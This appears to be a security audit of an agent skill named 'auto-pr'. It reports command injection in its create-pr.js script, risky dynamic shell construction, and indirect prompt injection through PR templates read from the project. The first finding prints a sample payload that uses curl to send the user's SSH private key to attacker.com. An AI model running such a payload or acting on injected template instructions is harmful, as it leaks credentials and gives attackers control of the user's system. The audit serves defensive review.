The Agent Skills Directory

[COMMAND_EXECUTION]: The script scripts/create-pr.js is highly vulnerable to command injection. It builds shell commands by directly interpolating variable inputs such as --title and --body into a string that is subsequently executed via execSync. Because the script does not escape shell metacharacters or sanitize double quotes, an attacker or a compromised AI agent could execute arbitrary shell commands by providing a crafted string (e.g., \" && curl http://attacker.com/leak?d=$(cat ~/.ssh/id_rsa) #).
[DYNAMIC_EXECUTION]: The skill employs dynamic shell command construction at runtime, a pattern that is inherently dangerous when combined with inputs generated by an LLM or read from external files. This creates an unconstrained execution path that can be exploited if the agent is manipulated into generating malicious parameters.
[INDIRECT_PROMPT_INJECTION]: The skill processes untrusted local project data, which introduces a potential attack surface for indirect prompt injection. * Ingestion points: workflows/03-doc-generation.md (scanning the project directory for PR templates). * Boundary markers: The skill lacks technical delimiters to separate instructions from ingested template content, relying solely on manual user review which can be bypassed. * Capability inventory: scripts/create-pr.js (executes shell commands using execSync). * Sanitization: No input validation or escaping is performed on the template content before it is used to influence the agent's PR documentation generation.

auto-pr